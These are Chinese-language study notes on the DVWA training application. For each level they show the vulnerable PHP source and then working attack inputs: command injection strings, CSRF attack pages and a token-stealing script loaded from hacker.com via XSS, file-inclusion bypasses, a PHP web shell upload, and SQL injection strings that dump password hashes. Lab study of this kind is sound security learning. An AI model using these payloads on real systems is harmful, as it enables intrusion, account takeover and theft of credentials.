DVWA-Learning-Notes
DVWA 深入学习
List:
- DVWA-Command Injection
- DVWA-CSRF
- DVWA-File Inclusion
- DVWA-File Upload
- DVWA-SQL Injection
0x1 DVWA-Command Injection
1. LOW
file path: vulnerabilities/exec/source/low.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
代码阅读:
stristr(“hello world”,"world");
// 查找world在hello world 第一次出现,并返回字符串的剩余部分。
php_uname( 's' );
// 返回操作系统名称,详见:http://www.php.net/manual/zh/function.php-uname.php。
shell_exec(string $cmd): string
// 执行系统命令。
Tips:exec 只能获取最后一行数据,shell_execu则可以获取全部数据。
$target 变量没有进行任何效验,直接把输入的字段和 ping 做了拼接,linux下如果不加-c 的话会一直ping下去而不会像win下四次后自己结束。
利用方式:
[POST]
http://10.211.55.7/web/dvwa-master/vulnerabilities/exec/
Cookie: security=low; PHPSESSID=2f9ju9pjdi8joth8tmjbu30pc1
ip=127.0.0.1+&&+whoami&Submit=Submit
回显:
ppbibo4a3e\administrator
2. Medium
file path: vulnerabilities/exec/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
代码阅读:
str_replace("world","Shanghai","Hello world!");
// 把字符Hello world! 中的world 替换成Shanghai。
array_keys()
// 函数返回包含数组中所有键名的一个新数组。
代码将变量$target进行了效验,即把 ”&&” , ”;” 替换成空字符串 ,采用的是黑名单机制,但是依旧存在安全问题。
利用方式:
[POST]
http://10.211.55.7/web/dvwa-master/vulnerabilities/exec/#
Cookie: security=medium; PHPSESSID=2f9ju9pjdi8joth8tmjbu30pc1
ip=127.0.0.1+&+whoami&Submit=Submit
回显:
ppbibo4a3e\administrator
3. Medium
file path: vulnerabilities/exec/source/high.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
代码阅读:
同样采用的是黑名单机制,但是依旧存在安全问题,看样子过滤了所有的非法字符,但是仔细观察到是把 ”| ”(|后有一个空格 )替换为空字符,于是就可以有利用 ”|” 进行攻击。
利用方式:
[POST]
http://10.211.55.7/web/dvwa-master/vulnerabilities/exec/
Cookie: security=high; PHPSESSID=2f9ju9pjdi8joth8tmjbu30pc1
ip=127.0.0.1|whoami&Submit=Submit
回显:
ppbibo4a3e\administrator
4. impossible
file path: vulnerabilities/exec/source/impossible.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // stripslashes() 删除反斜杠:
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码阅读:
explode()
// 把字符串打散为数组。
is_numeric()
// 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
代码逻辑:
- 将IP拆分为4个八分位数
- 检查每个八位字节是否为整数。
- 如果所有4个八位字节都是int,则将IP放回一起。
- 否则输出 ERROR: You have entered an invalid IP.
综上所述可判定不存在命令注入漏洞。
0x2 DVWA-CSRF
1. LOW
file path: vulnerabilities/csrf/source/LOW.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
代码逻辑:
- 服务器通过GET方式接收修改密码的请求。
- 判断参数password_new与password_conf是否相同。
- 如果相同,就会修改密码。
- 没有任何的防CSRF机制。
- 当然服务器对请求的发送者是做了身份验证的,检查Cookie,此代码并没有展现。
利用方式:
[1] 构造如下链接:
http://10.211.55.7/web/dvwa-master/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change#
用户点击此链接就会将他自己的密码更改为hacker123 。
[2] 使用短链接来隐藏 URL:
为了更接近实战性使被害者更容易相信此链接是安全的,我们使用短链接来隐蔽此链接。
短网址生成网站 (http://dwz.wailian.work/)。
[3]构造攻击页面:
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
构造demo.html如下:
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://10.211.55.7/web/dvwa-master/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change#" border="0" style="display:none;"/>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
</html>
用户正在浏览此网站(浏览器中还保存着 cookie 值)时,访问攻击者诱惑点击的链接则实现更改密码为hacker123 。
2. Medium
file path:vulnerabilities/csrf/source/medium.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
代码阅读:
stripos("hello php","PHP");
// 查找 PHP 在 hello php 中第一次出现的位置,无大小写区分。
$_SERVER['HTTP_REFERER']:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
$_SERVER['SERVER_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。
// PHP超全局变量$_SERVER中的两个值。
代码逻辑:
上面的代码使用 stripos() 函数来检查 HTTP 头, 过滤规则是$_SERVER['HTTP_REFERER']的值中必须包含$_SERVER['SERVER_NAME'],以此来抵御CSRF攻击。
漏洞利用:
将LOW等级中构造的攻击页面 demo.html 文件复制一份并命名为 10.211.55.7.html,按照LOW等级中的方法再一次实施攻击,诱惑用户点击攻击者构造的链接。
此时用户访问 10.211.55.7.html 文件,即相当于在 Repeater中修改HTTP数据包中的 Referer 参数为 http://hacker.com/10.211.55.7.html 因此符合过滤规则 $_SERVER['HTTP_REFERER'] 的值中必须包含 $_SERVER['SERVER_NAME']。
成功修改用户密码 (攻击成功)。
3. High
file path:vulnerabilities/csrf/source/high.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码逻辑:
代码中加入了Anti-CSRF token机制,用户每次访问修改密码页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
漏洞利用:
[1] 要绕过High等级的反CSRF机制,关键是要获取token,要利用被害用户的cookie去修改密码的页面获取token。
[2] 构造攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成 CSRF 攻击,下面是代码。
[demo.js]
alert(document.cookie);
var theUrl = 'http://10.211.55.7/web/dvwa-master/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://10.211.55.7/web/dvwa-master/vulnerabilities/csrf/?user_token='+token+'&password_new=hacker123&password_conf=hacker123&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
[3] demo.js放置于攻击者的网站上 http://hacker.com/demo.js 。
[*] DOM XSS 与 CSRF 结合:
http://10.211.55.7/web/dvwa-master/vulnerabilities/xss_d/?default=English# <script>src="http://hacker.com/demo.js"</script>
诱导点击后,成功将密码修改为hacker123 。
4. Impossible
file path: vulnerabilities/csrf/source/impossible.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码阅读:
代码中使用了PDO预处理的方式用来防御SQL注入攻击,修改密码功能添加了一个输入原始密码的表单,攻击者在不知道原始密码的前提下无法进行CSRF攻击。
0x3 DVWA-File Inclusion
1. 常见的文件包含函数
- include()
- include_once()
- require()
- require_once()
- file_open()
…
2. medium
file path: vulnerabilities/fi/source/medium.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
代码阅读:
str_replace
// 字符串替换函数
代码中将 http://
、https://
、 ../
、 ..
过滤为空。
漏洞利用:
- 大小写绕过
- 代码混淆绕过
GET:
http://10.211.55.7/web/dvwa-master/vulnerabilities/fi/?page=HttP://10.211.55.7/phpinfo.php
GET:
http://10.211.55.7/web/dvwa-master/vulnerabilities/fi/?page=hthttp://tp://10.211.55.7/phpinfo.php
3. high
file path: vulnerabilities/fi/source/high.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码阅读:
fnmatch()
// 函数根据指定的模式来匹配文件名或字符串。
代码中使用 fnmatch() 函数判断文件名必须以file 开头或者 file为include.php 否则输出 ERROR:File not found !
漏洞利用:
file:// 协议利用。
GET:
http://10.211.55.7/web/dvwa-master/vulnerabilities/fi/?page=file://C:\phpstudy\phptutorial\www\phpinfo.php
4. impossible
file path: vulnerabilities/fi/source/impossible.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码阅读:
代码中直接验证了file变量是不是固定的文件名,因此不存在文件包含漏洞。
0x4 DVWA-File Upload
1. medium
file path: vulnerabilities/upload/source/medium.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名称
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 文件类型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代码阅读:
DVWA_WEB_PAGE_TO_ROOT
// 为WEB的根目录路径。
basename()
// 函数返回路径中的文件名部分。
move_uploaded_file(file,newloc)
// 函数把上传的文件移动到新位置,如果成功该函数返回 TRUE,如果失败则返回 FALSE。
上面的代码声明了三个变量分别来获取文件的名字,文件的类型,文件的大小。
判断文件的类型否是为 "image/jpeg" 或者为 "image/png" 并且文件的大小是否小于100kb。
漏洞利用:
POST /web/dvwa-master/vulnerabilities/upload/ HTTP/1.1
Host: 10.211.55.7
Content-Length: 419
Cache-Control: max-age=0
Origin: http://10.211.55.7
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryenC9n7ioYVI54ylH
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/\*;q=0.8
Referer: http:/\/10.211.55.7/web/dvwa-master/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=ptoav2992gf1tknc4ripjj3c35
Connection: close
------WebKitFormBoundaryenC9n7ioYVI54ylH
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryenC9n7ioYVI54ylH
Content-Disposition: form-data; name="uploaded"; filename="3.php"
Content-Type: image/jpeg
<?php shell_exec($_GET['cmd']); ?>
------WebKitFormBoundaryenC9n7ioYVI54ylH
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryenC9n7ioYVI54ylH--
Content-Type: text/php 替换为 image/jpeg 或者 image/png 都可以。
回显:
../../hackable/uploads/3.php succesfully uploaded! // 上传成功
2. high
file path: vulnerabilities/upload/source/high.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件的名字
// 获取文件后缀名称
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// 保存的是文件上传到服务器临时文件夹之后的文件名
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代码阅读:
<?php
// substr(string,start,length)
echo substr("Hello world",6); // 从字符串中返回 "world":
?>
// 函数返回字符串的一部分,如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
<?php
// strrpos()
echo strrpos("123456.php","."); // 返回 6
?>
// 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
代码中 substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1) 来获取后缀名。
getimagesize(string) :函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片。
move_uploaded_file(file,newlocal)
// 函数表示把给定的文件移动到新的位置。
代码中判断了文件的文件的后缀名字是否为 jpg,png,jpeg 并且文件的大小要小于100kb 并且检测必须为一个有效的图片才能上传成功。
漏洞利用:
[ * ] %00截断需要PHP<5.3.4
[ * ] 这里上传的方式为Nginx畸形解析
[ * ] phpstudy 环境为 PHP5.3.29 + Nginx
上传一个正常的图片网马,上传成功后访问 WebShell。
http://10.211.55.7/web/dvwa-master//hackable/uploads/1.jpg/1.php
还可以和文件包含漏洞组合利用等其他方法 。
3. impossible
file path: vulnerabilities/upload/source/impossible.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
0x5 DVWA-SQL Injection
1. LOW
file path: vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
// 参数 $id 没有任何的交验处理。
漏洞利用:
1' // 直接SQl语法错误
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
1' or 2=2-- s
1' order by 2-- s // 猜测字段
1' union select database(),@@version -- s // 获取当前数据库名称和mysql版本
1' union select user,password from users -- s // 获取users字段中的用户密码数据
1' union select 1,@@global.version_compile_os from mysql.user -- s // 获取操作系统信息
1' and ord(mid(user(),1,1))=114 -- s // 返回正常则当前连接的用户为root
// infromation_scehma,该数据库存储了Mysql所有数据库和表的信息 ( 爆出所有数据库的名称 )
1' union select 1,schema_name from information_schema.schemata -- s
1' and exists(select * from users) -- s // 猜解表名
1' and exists(select user,password from users) -- s // 猜解字段
2. medium
file path: vulnerabilities/sqli/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
代码阅读:
mysql_real_escape_string
// 函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号'则处理时会在其前面加上右斜杠来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:\x00
\n
\r
\
'
"
\x1a
。
漏洞利用:
URL: http://127.0.0.1:888/vulnerabilities/sqli/
POST:
id=2 and 1=1 -- s &Submit=Submit
id=2 and 1=2 -- s &Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=(select database())-- s&Submit=Submit // 获取当前数据库的表
3. high
file path: vulnerabilities/sqli/source/high.php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
和Low等级一样,测试步骤使用LOW等级的测试方法即可。